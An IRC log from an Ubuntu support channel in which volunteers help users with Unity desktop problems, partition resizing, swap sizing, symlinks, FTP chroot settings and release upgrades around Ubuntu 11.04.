[10:35] <Viking667> I'm using ATI, not Nvidia...
[10:35] <Dr_Willis> scotty^:  oh wait. The nvidia drivers finally worked on this box. :) heh..
[10:35] <Simpson_2> will upgrading to 11.04 always replace my gnome2 desktop ?
[10:35] <jerriy> Hi
[10:35] <BlouBlou> Simpson_2: no
[10:36] <Dr_Willis> Simpson_2:  it will become Unity by default - theres the classic gnome desktop still selectable at the LOGIN screen
[10:36]  * pksadiq dreaming of Coreboot now ....... :)
[10:36] <Viking667> Oh, that reminds me. What am I meant to get when I start 11.04 (after upgrading)? I've just installed the unity packages (and all the other stuff it wanted)
[10:36] <Viking667> ... when I log in, I get nautilus, various services started, but no gnome-panels.
[10:36] <Dr_Willis> Viking667:  the dfault Unity desktop you mean?
[10:36] <Simpson_2> is there a way to default it back to gnome2 ?
[10:37] <Dr_Willis> Viking667:  could be some compiz settings are fighting with it.
[10:37] <Dr_Willis> gconftool-2 --recursive-unset /apps/compiz-1
[10:37] <Dr_Willis> unity --reset
[10:37] <Viking667> Well, I'm not sure. I don't know what the "default" unity desktop looks like
[10:37] <Dr_Willis> that may not work.. Hmm.
[10:37] <Dr_Willis> blog sites got videos of it. :) left side panel. and top panel.
[10:37] <Simpson_2> my parents around 70 won't survive such a dramatic switch so I would like to have the gnome2 as default for them
[10:37] <Viking667> hrm.
[10:37] <Viking667> let's try this then...
[10:37] <jerriy> Can somebody tell me whether the program "screenlets" is no longer updated
[10:37] <Dr_Willis> Simpson_2:  they may like i tbetter.. for now theres the classic desktop.
[10:38] <BlouBlou> Simpson_2: if you change once, it will be set by default with 'classic-desktop' :)
[10:38] <Dr_Willis> jerriy:  i think its not been getting much attention for quiet some time.
[10:38] <Incarus6> Simpson_2, you can choose Ubuntu Classic at login screen
[10:38] <incorrect> i wish clicking on a sidebar icon would minimise it
[10:38] <Viking667> ........... oooooo heck.
[10:38] <Simpson_2> BlouBlou, okay, thats all i need to now
[10:38] <jerriy> Dr_Willis: any known reason why that is
[10:38] <Simpson_2> i do presume the old desktop is preserved ?
[10:38] <incorrect> can you made the sidebar more like a traditional taskbar?
[10:38] <Maahes> small help with ln -s is it: ln -s directory/somewhere/else /directory/i/want or the opposite?
[10:39] <jerriy> Dr_Willis:Has it been replaced?
[10:39] <yuskhanzab> downgrade to maerick succesful. ^^
[10:39] <atlef> Simpson_2, yes, just use Ubuntu Classic when you login
[10:39] <jodlajodla> hello, can someone help me - in ubuntu 11.04 i have mouse lagg, how to solve that problem?
[10:39] <Maahes> jerriy: compiz has something equivalent
[10:39] <Simpson_2> okay thx for the answer guys
[10:39] <Dr_Willis> jerriy:  the whold idea of widgits on the desktop has slowly been fadeing away. screenlets has always been flakey for me. Now it just seems to be dieing off.
[10:39] <Incarus6> Maahes, "man ln": "ln [OPTION]... [-T] TARGET LINK_NAME   (1st form)"
[10:39] <jerriy> What is that Maahes?
[10:40] <vak> how to assign an icon to an application pinned in Ubuntu Unity?
[10:40] <incorrect> jodlajodla, i had a similar problem, what i did was delete all the .gnome and .compiz directories
[10:40] <Dr_Willis> jerriy:  google has their own widgit stuff. opera does also. there may be some others i dont recall.
[10:40] <Incarus6> Maahes, " ln [OPTION]... -t DIRECTORY TARGET...  (4th form)"
[10:40] <Maahes> Incarus6: I know, but its not english to me, I can't make sense of which corresponds to the example I provided above
[10:40] <brandonc503> seems when i make a user in ubuntu and change the home directory it changes back , common issue or am i doing something wrong?
[10:40] <jodlajodla> incorrect: then i must restart system?
[10:40] <ciccioba> hi
[10:40] <scotty^> Viking667 - What ATI card do u have?
[10:40] <incorrect> jodlajodla, well i just logged out and in
[10:40] <incorrect> jodlajodla, is this an upgraded system?
[10:41] <Viking667> ATI HD3450
[10:41] <ciccioba> have someone ideas about no sound on my realtek audio integrated peripheral (mobo ASUS -pro) on ubuntu 10.10
[10:41] <jerriy> Dr_Willis:, Maahes: you guys mean the whole widgets/screenlets/gadgets thing is "passé"?
[10:41] <Viking667> ciccioba: do you have pulseaudio started?
[10:42] <Incarus6> Maahes, http://www.cyberciti.biz/faq/creating-soft-link-or-symbolic-link/ should help
[10:42] <Herbs> maahes easiest way to symlink is cd to the dir you want to make the sym link in and then ln -s /location symlink
[10:42] <Dr_Willis> jerriy:  yes..
[10:42] <Incarus6> Maahes, ln -s ORIGINAL_FILE NEW_LINK
[10:42] <ciccioba> i've seen on sound preferences 2 devices (1 is realtek; other is audio standard...)
[10:43] <ciccioba> last time i installed ubuntu 10.1o v disattivated one and the other is gone... now don
[10:43] <ciccioba> Viking667: how to look if pulseaudio is started
[10:43] <ciccioba> ?
[10:43] <Viking667> hm. Can't help there then, I'm having my own uh, issues with pulseaudio.
[10:44] <Incarus6> ciccioba, did you try to unmute the sound?
[10:44] <Viking667> ah.... in a terminal, type "ps ax | grep pulseaudio
[10:44] <ciccioba> yes surely
[10:44] <ajah> is there a program witch can cause mouse to be locked withing a window ( not to leave window)
[10:44] <ajah> within*
[10:44] <jodlajodla_> incorrect - i've deleted .compiz and .gnome2 in home folder, but not better -.-"
[10:44] <Incarus6> ajah, yes, wine.
[10:44] <Viking667> gah. Now I have some issues... I'll be right back.
[10:44] <Maahes> Ok what I'm trying to do is this: /directory/on/different/drive ~/Directory what I'm getting is ~/Directory/Directory@ which means I cd into ~/Directory/Directory
[10:44] <incorrect> jodlajodla, did you logout and back in?
[10:45] <ciccioba> i'm sorry 've to go, i'm working.
[10:45] <jodlajodla_> i've restarted pc
[10:45] <ciccioba> i'll be back soonm
[10:45] <PythonPup> ajah, yes.  VirtualBox acts like that sometimes.
[10:45] <ciccioba> thanks to all
[10:45] <Incarus6> jaha, and don't forget vmware and vbox
[10:45] <Dr_Willis> jodlajodla_:  theres the .gconf* dirs also
[10:45] <incorrect> jodlajodla, i've only seen that after i messed with compiz settings a lot
[10:46] <ajah> Incarus6, my question was for wine i start programs with wine with option -window but it leaves the window how to lock it
[10:46] <InHisName> HOW TO finish upgrading to 10.10 where the gui portion hangs ?   I can login text mode in recovery.
[10:46] <FordPrefect> Hello?
[10:46] <jodlajodla_> i will install ccsm first, because there is refresh rate on 50hz and i have 60hz - maybe is there problem?
[10:46] <FordPrefect> Anyone here?
[10:46] <PythonPup> InHisName, you might try an apt-get install ubuntu-desktop
[10:46] <scotty^> Viking667 - The ATI Radeon HD3450 (R600 I think, or maybe R700) should be relatively error free on Unity, unlike the early R100 (Radeon 7000) and R200 (Radeon 8000) cards.  If you are getting artifacts try searching Launchpad for similar bugs.
[10:47] <Furai`> FordPrefect: 1622 users and you're asking if someone is here? :D
[10:47] <Herbs> mahhes you wont cd into the symlink but anything you do in there will replicate in the symlinked dir
[10:47] <Mrokii> Hi. Is there a way to get rid of this stupidly stin "scrollbars" that aren't really scrollbars anymore in 11.04?
[10:47] <PythonPup> InHisName, or, lubuntu-desktop
[10:47] <Incarus6> ajah, usually you use winsettings to configure that. Under "grafic" you can activate "mouse-grab". Mention: Not every programm locks your mouse, just directx apps, which are programmed to do that
[10:47] <Mrokii> *stupidly thin I mean
[10:47] <incorrect> do apps like eclipse need to support this global menu thing before their menu is integrated into the top bar?
[10:47] <jodlajodla_> Dr_Willis - that can help to solve problem with mouse lagg?
[10:48] <SmokingKipper> test
[10:48] <botcity> Mrokii, i think there is an option in ccsm
[10:49] <PythonPup> incorrect, Not exactly.  If an app dynamically builds its interface, it may have to directly support the global menu.  Most gtk apps support the global menu out of the box.
[10:49] <FordPrefect> Furai sorry there was a lag when I came in here and nothing was showing up.
[10:49] <Dr_Willis> jodlajodla_:  does it affect a newly made user also? if so - that would point to a system setting, or driver issue.
[10:49] <vigor> hey anybody can help me with xchat plz ?
[10:49] <brandonc503> seems when i make a user in ubuntu and change the home directory it changes back , common issue or am i doing something wrong?
[10:49] <incorrect> PythonPup, then i would imagine eclipse does have to support it
[10:49] <bazhang> vigor, whats the issue
[10:49] <Incarus6> !ask | vigor
[10:49] <ubottu> vigor: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[10:49] <Mrokii> botcity: You don't happen to know what option that is, do you?
[10:49] <ajah> Incarus6, so i cant lock mouse on directx apps witch i start with opengl
[10:50] <Dr_Willis> brandonc503:  how are you making the user, and why/how  are you changeing their home?
[10:50] <vigor> am new to this irc thingy, so i used to us pidge or msn... to connect me to my hotmail messenger but how to do that in xchat ?
[10:50] <Incarus6> ajah, I didn't said that. Somewine apps can grab your mouse. did you enable that option?
[10:50] <bazhang> vigor, you dont
[10:50] <Dr_Willis> incorrect:  some apps can break/fight with the global menu yes. some apps dont follow the proper standard way of doing things from what i recall.
[10:50] <Cursarion> dunno if xchat does msn
[10:50] <jodlajodla_> Dr_Willis - i've also installed 10.10 and official ATI driver for HD4850, but it was same problem ;) but on win 7 mouse works normally
[10:51] <Dr_Willis> incorrect:  firefox for example has a extension to make it play nice with the gloval menu.
[10:51] <DarsVaeda> hi is anyone familiar with where firefox 4 youtube temp files are saved to?
[10:51] <bazhang> vigor, xchat is irc only
[10:51] <ajah> Incarus6, still leaving the window
[10:51] <vak> how to assign an icon to an application pinned in Ubuntu Unity? (icon was not automatically found for 3rd part application Eclipse)
[10:51] <scotty^> vigor - Maybe, I'm using XChat-GNOME now.
[10:51] <DarsVaeda> in older versions there was a flv temp file generated for each video you watched in /tmp - can not find that anymore
[10:51] <ubuntu> Hi! Is there any way to combine unallocated partition as one here - http://imagebin.org/151122?
[10:51] <vigor> ohh kk i thought it was possible to connect to the msn thingy... ok thanks then ^_^
[10:52] <Incarus6> ajah, "Wine does not grab pointer(XGrabPointer) so there is no way to prevent it from leaving Wine window." http://www.winehq.org/pipermail/wine-users/2008-December/045389.html
[10:52] <Moa> Hi, anyone has a hdmi green/pink image issue with Natty ?
[10:52] <scotty^> vigor - Xchat only supports the IRC protocol.
[10:52] <ajah> Incarus6, i see
[10:52] <ubuntu> Is it possible to combine unallocated partition as one here - http://imagebin.org/151122?
[10:53] <VCoolio> DarsVaeda: not sure if it's the same on ubuntu, but take a look at this https://bbs.archlinux.org/viewtopic.php?id=114790
[10:53] <Dr_Willis> ubuntu:  if they are next to each other yes. You may have to move some other partitons around
[10:53] <Dr_Willis> ubuntu:  you can combine them by resizeing One to take up all the space of the other. :)
[10:54] <Incarus6> ubuntu, the second unlocated disk space is just 1MB big, I think that wouldn't make any sense
[10:54] <Dr_Willis> ubuntu:  in your case. resize sda6 to take it up. then shrink it back down.
[10:54] <DarsVaeda> VCoolio: thx i pretty much think that will help :)
[10:54] <Dr_Willis> 1mb unallocatged - due to 'round to 1mb boundry'  'common practice' these days
[10:55] <Incarus6> Dr_Willis, I allways hate that, because it have to move a lot of files ;)
[10:55] <ubuntu> Dr_Willis: Can you see this http://imagebin.org/151122? These are my partition. /dev/sda6 is /home
[10:55] <ubuntu> Incarus6: unallocated - 9.99 GiB and unallocated 979.00 MiB is what I hope to combine
[10:55] <SmokingKipper> I cannot understand why my net is running so slow....taking ages to download even a 1.5meg file
[10:55] <SmokingKipper> like 20 minutes
[10:56] <ubuntu> Dr_Willis: And I'm not sure how does moving/resizing affects data
[10:56] <Dr_Willis> adding the 979mb to the sda6 shouldent take much time i woudl think.
[10:56] <scotty^> vigor - I think Empathy is the program in Karmic and later Ubuntu versions that can do what u want.  It uses Telepathy for protocol support.
[10:56] <Dr_Willis> its shrinking fs's that take up all the time .
[10:56] <ubuntu> Dr_Willis: Well, I want to add 979MiB to 9.99GiB
[10:56] <Incarus6> ubuntu, ah, right. That would take a lot of time, since you are trying to move more then 500GB of data. Why dont you just resize /dev/sda/?
[10:57] <Dr_Willis> ubuntu:  that will take some work.. since they are basically at opposite ends of the hard drive
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[10:57] <FloodBot3> PythonPup: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[10:57] <Incarus6> ubuntu, hm, nevermind, I meant 20 GB of data
[10:58] <scotty^> SmokingKipper - it will depend on the usage load on the site/mirror you are downloading from.
[10:58] <ubuntu> Incarus6: Dr_Willis: How does resizing affects data? /dev/sda6 and /dev/sda7 are my /home and / of current system. I'm on LiveUSB now
[10:58] <fr00g> Can anyone tell me how to make the Unity Dash fullscreen?
[10:58] <SmokingKipper> well I am merely trying to update the cache via the software centre
[10:59] <jiltdil> fr00g:"unity dash"?
[10:59] <Incarus6> ubuntu, it doesn't affect your data, is just moving the location of the data on your disk, and thats taking some time (like if you would copy all the files somewhere else)
[10:59] <BlouBlou> SmokingKipper: 'sudo apt-get update' will update your software-list
[10:59] <Herbs> ubuntu theres always a risk of data loss when resizing a partition so make sure you have a backup before you do
[10:59] <ubuntu> Oh
[10:59] <FordPrefect> Does call system("mkdir directoryname") create a new directory in GVim?
[10:59] <fr00g> jiltdil, yes, the Dash that appears when you press the button in the top left
[10:59] <SmokingKipper> thanks, I may have figured out the issue...I plugged in my laptop power....I think ubuntu may have a harsh power managemtn throttle?
[10:59] <jiltdil> fr00g:ok
[11:00] <Incarus6> ubuntu, I've never lost any data due to resizing. There is a little risk, that this could happen, but it never happend to me
[11:00] <LunaVorax_mini> Hi everyone !
[11:00] <SmokingKipper> oh, one more question....when I right click on an app in the launcer, it launches the app..I want to get the menu up to remove the app
[11:01] <InHisName> PythonPup: ubuntu-desktop is already the newest version     is its response
[11:01] <Incarus6> ubuntu, and one of the two partitons you try to move is a swap partition, but I would make a backup of /dev/sda7
[11:01] <LunaVorax_mini> I would like to convert my computer to a RAID-0 system, is i t possible just to add another HDD and adapt to it or do I have to reformat everything and reinstall ubuntu from zero ?
[11:01] <torq_> ls everyone
[11:01] <PythonPup> InHisName, So, try lubuntu-desktop.  That's why I gave you a backup.
[11:01] <Viking667> sorry about that - was getting some major dissasociation...
[11:02] <_Platypus_> Is there any good way to drop straight to your Desktop? I keep having to minimize multiple windows to get there, and there has to be a better way.
[11:02] <scotty^> Viking667 - np.
[11:02] <Viking667> Unity's certainly not something I've ever come across...and boy is it different in some ways.
[11:02] <scotty^> Viking667 - The ATI Radeon HD3450 (R600 I think, or maybe R700) should be relatively error free on Unity, unlike the early R100 (Radeon 7000) and R200 (Radeon 8000) cards.  If you are getting artifacts try searching Launchpad for similar bugs.
[11:02] <Incarus6> InHisName, pls paste /var/log/dist-upgrade/apt.log and main.log
[11:02] <ubuntu> Incarus6: Well, how about combining 1.02MiB and 979.00 MiB to swap?
[11:02] <InHisName> PythonPup:  having both is ok ?
[11:03] <PythonPup> Sure, InHisName
[11:03] <InHisName> Incarus6: coming in a bit.
[11:03] <SmokingKipper> my right click seems to do a left click (left click is left click)
[11:03] <Herbs> ubuntu theres no pint in doing that really
[11:03] <Incarus6> ubuntu, then you would have more swap space (ignore the 1MB). Whats your ram size?
[11:03] <Herbs> point*
[11:03] <PythonPup> They will both show up as choices when you login, and you can choose.
[11:03] <Herbs> the 1mb will make no diff
[11:03] <Incarus6> Herbs, as long as his swap space is big enough
[11:03] <brandonc503> how do i change a users home directory in terminal. when i use the user/groups it changes back to /home/user
[11:03] <Viking667> don't worry about it (r620) - I think I've got it going now. my only real problem is: I can't seem to interact with the panels now, except to click their icons. I used to be able to have them hide themselves, now that isn't showing ... in fact, right-click on the panel doesn't do anything.
[11:03] <ubuntu> Incarus6: 4GiB
[11:04] <Herbs> 4gb is prolly to much swap
[11:04] <Incarus6> Herbs, I disagree here
[11:04] <Incarus6> Herbs, ubuntu, usually swap space = ram * 2
[11:05] <constl> Do you need swap if you have 4 GiB of memory ?
[11:05] <Herbs> Incarus I always used to go with the old school method of swap 1 or 1/2 x ram but I dont think it is nescasery these days with the amount of physical ram
[11:05] <scotty^> LunaVorax_mini - I would advise against using RAID-0 - I had a bad experience with it.  From Wikipedia, "Any disk failure destroys the array, and the likelihood of failure increases with more disks in the array (at a minimum, catastrophic data loss is twice as likely compared to single drives without RAID)."
[11:05] <ikonia> constl: you never "need" swap unless you actually "need" it, it really depends on what you're doing, it's sensible to use it unless you known not to
[11:05] <Incarus6> constl, Herbs, if you want to hibernate (suspend to disk) u need more swap then ram
[11:06] <LunaVorax_mini> scotty^, I know about this, this only is for testing and learning purposes
[11:06] <Viking667> I've got 2Gb (plus a bit) of swap to go along with my 2Gb of memory.
[11:06] <Herbs> Incarus6 true I dont do either and work with servers so thats my reasoning so I guess you have a point
[11:06] <iam126> sorry to be a pest, does anyone NOT see http://godmode.cc/ ?
[11:06] <fr00g> Can anyone tell me how to make the Unity Dash fullscreen?
[11:06] <iam126> I had someone not see it earlier
[11:06] <Viking667> one of the reasons is so that if I can get away with it, I can use the hibernate function
[11:06] <constl> Incarus6: Im not using swap (as Im aware of) and can suspend just fine. Maybe it has to do with how many open applications you have?
[11:07] <jiltdil> fr00g:see the unity dash at the right botton corner click it
[11:07] <iam126> I need to rule out multi-homing configuration errors on ubuntu 10.10
[11:07] <ubuntu_> Herbs: Incarus6: Sorry, lost connection. My partition table is not proper.. Was tihnking of a way to correct it somehow
[11:07] <ubuntu_> Incarus6: RAM is 4GiB and current swap is more than required
[11:07] <Incarus6> Herbs, hibernating stopped working for me since 11.04 anyway
[11:07] <Viking667> so far, that's not actually working for me... I suspect that's because I've got two cores. (Pentium Dual Core)
[11:07] <scotty^> LunaVorax_mini - Try RAID-5 or Intel's Matrix RAID if you have an Intel Southbridge chip.
[11:07] <fr00g> Yes, but I'm looking to enable fullscreen by default
[11:07] <Incarus6> !testdisk | ubuntu
[11:07] <agung> hai..
[11:07] <LunaVorax_mini> scotty^, This computer does not support more than 2HDDs, can't try anything else than RAID-0/1
[11:08] <Incarus6> omg ubottu. ubuntu-, http://en.wikipedia.org/wiki/TestDisk
[11:08] <ubuntu_> Incarus6: ok
[11:08] <Incarus6> constl, as long as you suspend to ram, everything will work fine for you
[11:09] <ubuntu_> Incarus6: Why did you suggest data recovery tool?
[11:09] <scotty^> LunaVorax_mini - Or maybe RAID 0+1 if you have plenty of disks (minimum four disks; even number of disks).
[11:09] <Incarus6> ubuntu_, it's also for recoverying lost partitions/ a lost partition table
[11:10] <constl> The empathy irc channel keeps changing its size as my sentence gets bigger. Anyone else experiencing the same?
[11:10] <ubuntu_> Incarus6: Is there any way i can improve current partition table than doing what I was asking initailly?
[11:11] <ubuntu_> Incarus6: http://imagebin.org/151122
[11:12] <thegoodcushion> what filesystem does 11.04 use by default?  ext3 or ext4?
[11:12] <Incarus6> ubuntu_, your current partition table looks ok. you could move sda7 and sda5 up and combine these 9.99GB with these 979MB
[11:12] <thegoodcushion> And same question for 10.04
[11:12] <Incarus6> !ext4 | thegoodcushion
[11:12] <PythonPup> thegoodcushion, ext4 for 11.04.
[11:12] <Incarus6> ubottu doesn't know anything
[11:12] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[11:13] <botcity> brandonc503, usermod -d /path/to/new/homedir/ username
[11:13] <brandonc503> ah had username in wrong spot, thanks
[11:13] <Herbs> ubuntu_ give the gpated cd a try iirc it has an option for repairing its not something I have had to do personally though
[11:13] <scotty^> LunaVorax_mini - OK then.
[11:13] <Herbs> gparted live cd
[11:13] <BlouBlou> !ext
[11:13] <BlouBlou> meh
[11:14] <Richard|> hey, how do i update ubuntu with the wubi installer?
[11:14] <BlouBlou> !wubi | Richard|
[11:14] <ubottu> Richard|: Wubi is an Ubuntu installer for Windows users that allows you to install and uninstall Ubuntu like a Windows application, in a simple and safe way. http://wubi-installer.org/support.php and https://wiki.ubuntu.com/WubiGuide for troubleshooting. Please  file bugs at http://launchpad.net/wubi/+filebug. For Ubuntu Maverick/10.10 http://releases.ubuntu.com/maverick/wubi.exe
[11:14] <_Keepiru> how do i switch the glx module with tne nv-module? there is no modprobe.conf. o_o
[11:14] <Richard|> i've read all that
[11:14] <Richard|> the only option i can see atm is uninstalling it and installing it again
[11:14] <Richard|> are there no other options?
[11:15] <Incarus6> Richard|, you can simply boot ubuntu and upgrade it, that should work
[11:15] <FordPrefect> Anyone here have any Gvim experience?
[11:15] <Richard|> i'll give that a try, i just don't wanna break anything lol
[11:16] <terry> How does one convert a system to LTS?
[11:16] <botcity> FordPrefect, ask!
[11:16] <Incarus6> Richard|, just wait one second
[11:16] <PythonPup> terry, in the preferences for Synaptic and update manager, there is a setting for that.
[11:16] <FordPrefect> I am trying to make a new directory but when I name it , it tells me "Unable to make directory". anyclues botcity?
[11:17] <terry> PythonPup: Ok, thanks.
[11:17] <botcity> terry, which LTS
[11:17] <Herbs> Ricahrd| always make backups before doing anything that risks data loss
[11:17] <FordPrefect> I'm new to Gvim and Ubuntu obviously.
[11:17] <glycan> Chrome doesn't runm
[11:17] <glycan> Nor in alt-2, nor in terminal.
[11:17] <terry> botcity: What do you mean, which LTS?
[11:17] <Herbs> glycan define chrome doesent run
[11:17] <glycan> I cannot find anything to start chrome.
[11:17] <Herbs> glycan do you get an error in terminal?
[11:17] <brandonc503> my ftp user is able to see back into my file structure tree.. i only wnt them to see there own folder.. where is this set?
[11:17] <glycan> 'COmmand not found'
[11:18] <terry> botcity: I'm talking Long Term Support
[11:18] <glycan> But U software center says it's installed.
[11:18] <Cursarion> what command are you using?
[11:18] <Incarus6> Richard|, it's not safe according to ubuntuforums.org, pls read: http://ubuntuforums.org/showpost.php?p=9932369&postcount=5
[11:18] <glycan> chrome, chromium, google-chromium
[11:18] <botcity> terry 10.04 was the last one if your on a newer version you will have to wait or reinstall
[11:18] <Richard|> oh rught, thanks
[11:18] <Herbs> glycan have you made /dev/shm read only as I know chromium needs to right to it
[11:18] <atlef> Richard|, you could look here http://ubuntu-with-wubi.blogspot.com/2011/01/upgrade-to-natty-1104-alpha-1-with-wubi.html
[11:19] <Herbs> and wont run unless its rw
[11:19] <glycan> No idea, han gon
[11:19] <trailoryo> can someone tell me a good mediaplayer that can play HD 100% smooth... cus I still havent found something that can :/
[11:19] <FordPrefect> No one knows why I'm getting the "Unable to create directory" response in Vim?
[11:19] <pksadiq> glycan: chromium-browser
[11:19] <kill3> Whats wrong, my Ubuntu 11.04 installation gets stuck to Ubuntu loading screen, tried 2 different cds and from usb stick?
[11:20] <Cursarion> glycan: haha
[11:20] <botcity> perhaps run gvim as sudo maybe
[11:20] <Incarus6> trailoryo, VLC is working for me. Usually thats more a hardware/driver problem then a media player issue
[11:20] <_Platypus_> Firestarter on 11.04- can't log events, as it says I'm not root. Any thoughts on how to fix this?
[11:20] <brandonc503> kill3: ive had it take a really really long time before
[11:20] <ikonia> _Platypus_: run it with sudo
[11:20] <InHisName> PythonPup:  lubuntu installed, chose lxdm   rebooted normal    monitor sync double clicks every 10 seconds  but nothing more.         tried rebooting to recovery mode but stuck at ** checking battery status
[11:20] <trailoryo> Incarus6 thanks, but I know its not ;/
[11:20] <_Platypus_> ikonia: Have tried, no luck.
[11:20] <glycan> Really? Jeez.
[11:20] <brandonc503> my ftp user is able to see back into my file structure tree.. i only want them to see there own folder.. where is this set?
[11:21] <ikonia> _Platypus_: how are you trying to run it exactly ?
[11:21] <ikonia> brandonc503: chroot option
[11:21] <trailoryo> Incarus6 : It looks like its more of a codec problem, but I dont have a clue about this in Linux
[11:21] <_Platypus_> sudo firestarter, but when I hit the GUI, can't log events.
[11:21] <brandonc503> thanks
[11:21] <ikonia> _Platypus_: how are you launching the gui
[11:21] <Herbs> _platypus_ things run as sudo at cli arent sudo in gui
[11:21] <Viking667> eeeeeep .... right. I'm out of here.
[11:22] <PythonPup> InHisName.  You may have to tweak the xorg.conf file.  That is what I'd look at next.  Get the specs or google for your monitor and video card settings.  Normally, that is not needed.  Sorry, I have to go back to work now.
[11:22] <Viking667> I think I've had enough of Unity... back to it tomorrow.
[11:22] <_Platypus_> Clicking on it. There is probably something simple I'm missing.
[11:22] <Incarus6> trailoryo, you can choose different video output modes
[11:22] <Herbs> if you select firestarter through the gui it should prompt for sudo pass
[11:22] <kill3> Brandonc503 umm I should just leave my computer waiting like 1 hour?
[11:22] <ikonia> _Platypus_: try launching the gui with "gksudo"
[11:22] <ikonia> _Platypus_: just a test
[11:22] <_Platypus_> ikonia: I will try that.
[11:22] <terry> PythonPup: If the system is 9.04 now, will the LTS option be available in the update manager & package manager?  (Or will it first need to be updated to 10.04.)
[11:23] <brandonc503> kill3: its something i would try, if you believe there are no other issues
[11:23] <trailoryo> Incarus6: in vlc? or some other settings? thanks ill play around some then^^
[11:23] <atlef> terry, 10.04 is LTS
[11:23] <Herbs> _platypus_ kill the instance of firestarter you have running then start it through the gui
[11:23] <terry>  ....... Anyone  ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,..........^^^
[11:23] <glycan> Good grief.
[11:23] <Incarus6> trailoryo, in Vlc, yes. VLC uses its own codecs and VLC supports hardware acceleration. If your graphic card/driver doesn't support hardware acceleration it wont work
[11:23] <glycan> How do you get flash?
[11:23] <brandonc503> kill3: also try on other comps maybe just to make sure the usb is fine
[11:23] <scotty^> trailoryou - Smooth playback of HD video will depend not only on your media player but also on your video card and maybe your CPU.  What version of Ubuntu are you using?
[11:23] <glycan> Flash player, that is
[11:23] <VCoolio> terry: you can only skip versions from one lts to another; in this case, you have to update one by one or fresh install
[11:23] <kill3> From usb stick I can see the menu and I am now running memtest
[11:24] <atlef> !restricted | glycan
[11:24] <ubottu> glycan: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also https://help.ubuntu.com/10.04/musicvideophotos/C/video.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[11:24] <ikonia> terry: stop with the noise please, ask a question and wait for a response, "anyone" doesn't help, and flooding with "...." doesn't
[11:24] <JustMeDude> hi can someone pls help, somehow I corrupted my top bar and the launcher in 11.04, was messing with compiz to get transparency back and now booting into the gui all I have is my wallpaper - thanks
[11:24] <scotty^> kill3 - What video card/chip do you have?
[11:24] <Incarus6> trailoryo, pls paste "glxinfo | grep rendering"
[11:24] <Sidewinder1> RichardJ, With all due respect to the developers, many aspects of Wubi can be problematic. Please keep in mind that one of it's purposes is to simply try Ubuntu, from the windows environment. If one likes the next logical step is to install Ubuntu; dual-boot, and go from there.
[11:24] <PythonPup> terry, you probably need to go to 10.04 first.
[11:25] <terry> PythonPup: VCoolio: Ok, here is the situation.  A friend of mine had 8.04.  I thought it was LTS, and told him to just do the distribution upgrade. Well, now he's on 9.04.
[11:26] <ikonia> terry: 8.04 is lts
[11:26] <steverm> hello guys is the ubuntu 11 on beta
[11:26] <ikonia> steverm: no, it's release stable
[11:26] <bazhang> steverm, its final
[11:26] <Incarus6> terry, http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Version_timeline
[11:26] <brandonc503> ikonia: the ftp access jumps to folder i want, but i can still back up thru the structure tree
[11:26] <Incarus6> !natty | steverm
[11:26] <ubottu> steverm: Ubuntu 11.04 (Natty Narwhal) is the current release of Ubuntu. Download http://releases.ubuntu.com/11.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1104
[11:26] <kill3> scotty^ cant remember, but comp is brand new HP G62 with 4GB memory
[11:27] <ikonia> brandonc503: yes, so use chroot options as I've told you
[11:27] <Shauny> ubuntu 11.04 rocks =]
[11:27] <brandonc503> must have used it wrong.. googleing
[11:27] <steverm> ubottu ok thanks you
[11:27] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[11:27] <VCoolio> terry: so he didn't skip but updated version twice; he can go on or fresh install; I'd do the latter but it depends on backup facilities and if he has data on a separate partition
[11:27] <Incarus6> InHisName, still here?
[11:28] <djcoin> Hi all, I m trying to get data from a sata disk I extracted from my older laptop that does not work anymore. Well, I try to mount it from <:de
[11:28] <terry> VCoolio: What do you mean "updated version twice"?
[11:28] <djcoin> from /dev/sdb but that does not work
[11:28] <ikonia> djcoin: /dev/sdb is a disk, not a partition, you mount a partition, not a desk
[11:28] <ikonia> disk
[11:28] <VCoolio> terry: he went from 8.04 to 8.10 to 9.04 instead of skipping to 10.04 directly
[11:28] <steverm> ubottu I am planning on downloading the alternate cd install
[11:28] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[11:28] <DogEars> Why do people use Virtual box instead of qemu with Aqemu?
[11:28] <djcoin> ikonia: yeah I know, yet i dont have any /dev/sdb*
[11:29] <glycan> Can't I just apt-get install flash?
[11:29] <glycan> Or..
[11:29] <ikonia> djcoin: then there is no partition on that disk
[11:29] <djcoin> How should i proceed to mount ther disk then ?
[11:29] <ikonia> djcoin: you need to partition the disk
[11:29] <Incarus6> DogEars, vbox is working better for me
[11:29] <Herbs> /dev/sdb* will have a mount point if you do s df you will see where its mounted
[11:29] <djcoin> ikonia: no there are partitions, I used this disk
[11:29] <VCoolio> terry: so now he can upgrade to 9.10 and then 10.04, or fresh install the version he wants
[11:29] <Cursarion> how did you use it without partitions?
[11:29] <atlef> terry, look at this screenshot how to enable LTS upgrades http://bildr.no/view/874402
[11:29] <terry> VCoolio: Well, he said he was on 8.04, now he's on 9.04  I don't know how he got there, but, well, I'll just have to wait and see when I get there.
[11:30] <ikonia> djcoin: you are mistaken, "sudo fdisk -l /dev/sdb"
[11:30] <InHisName> Incarus6: I'm still here for a bit yet.    System hung in recovery mode at   * checking battery state . . . .
[11:30] <omidp> i change my server to the closest server does the programs are diffrent  than the previous server ? more complete or less complete?
[11:30] <djcoin> ikonia: does not return me nothing, i tried it :(
[11:30] <DogEars> Incarus6, OK on 11.04?
[11:30] <djcoin> Maybe there are some hardware failure
[11:30] <ikonia> djcoin: there are no partitions on that disk then
[11:30] <ikonia> omidp: they are identical
[11:30] <scotty^> kill3 - pls paste glxinfo | grep render
[11:30] <Herbs> InHisName hardware raided?
[11:30] <omidp> i wat is the server differences?
[11:30] <VCoolio> terry: it's not bad, it's not necessarily broken, it just takes a lot more time this way :)
[11:30] <djcoin> I wont partition this disk, I will loose the data Im trying to get it back
[11:31] <InHisName> Herbs   no raid
